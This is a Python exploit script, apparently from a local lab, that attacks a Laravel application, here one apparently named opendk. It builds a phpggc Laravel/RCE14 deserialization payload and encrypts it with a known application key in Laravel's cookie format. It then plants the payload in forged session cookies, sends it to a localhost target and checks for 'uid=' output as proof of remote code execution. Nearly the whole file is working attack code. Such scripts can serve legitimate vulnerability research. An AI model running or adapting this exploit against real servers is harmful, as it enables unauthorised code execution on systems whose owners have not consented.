#!/usr/bin/env python3
import requests
import subprocess
import base64
import os
import json
import hashlib
import hmac
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

requests.packages.urllib3.disable_warnings()

url = "http://127.0.0.1:9999"
KNOWN_KEY = b'A' * 32

def laravel_encrypt(data, key):
    """Encrypt data using Laravel's format"""
    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    if isinstance(data, str):
        data = data.encode()
    padded = pad(data, AES.block_size)
    encrypted = cipher.encrypt(padded)
    
    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(encrypted).decode()
    mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
    
    payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""}
    return base64.b64encode(json.dumps(payload).encode()).decode()

print("[1] Generating RCE payload with Laravel/RCE14...")
result = subprocess.run(['/tmp/phpggc/phpggc', 'Laravel/RCE14', 'system', 'id'],
    capture_output=True)
rce_payload = result.stdout.strip()
print(f"    Payload: {len(rce_payload)} bytes")

print("[2] Creating session structure...")

# The session ID needs to be a valid random string
session_id = "RCE" + "A" * 37  # 40 chars total

# Encrypt the session ID for kd_session cookie
encrypted_session_id = laravel_encrypt(session_id, KNOWN_KEY)
print(f"    Encrypted session ID: {len(encrypted_session_id)} bytes")

# Encrypt the RCE payload for session data
encrypted_payload = laravel_encrypt(rce_payload, KNOWN_KEY)

# Create session data cookie value (JSON structure)
session_data = json.dumps({
    "expires": int(time.time()) + 3600,
    "data": encrypted_payload
})
print(f"    Session data cookie: {len(session_data)} bytes")

print("[3] Sending exploit...")
sess = requests.Session()
# Set kd_session with encrypted session ID
sess.cookies.set('kd_session', encrypted_session_id)
# Set cookie named with raw session ID containing session data
sess.cookies.set(session_id, session_data)

r = sess.get(url, timeout=30)
print(f"    HTTP {r.status_code}")

if 'uid=' in r.text:
    for line in r.text.split('\n'):
        if 'uid=' in line:
            print(f"\n[!] RCE SUCCESS: {line.strip()}")
            break
else:
    print("[-] No RCE output visible in HTTP response")
    # Check for error related output
    if 'error' in r.text.lower() or 'exception' in r.text.lower():
        print("    Error found in response")
    
print("\n[4] Checking log...")
with open('/home/c/ZERODAY/lab/target/opendk/storage/logs/laravel.log', 'r') as f:
    log = f.read()
    if log:
        lines = log.strip().split('\n')
        print(f"    Log has {len(lines)} lines")
        # Show relevant lines
        for line in lines[-20:]:
            if 'Decrypt' in line or 'session' in line.lower() or 'Queue' in line or 'Pending' in line:
                print(f"    {line[:200]}")
    else:
        print("    Log is empty")
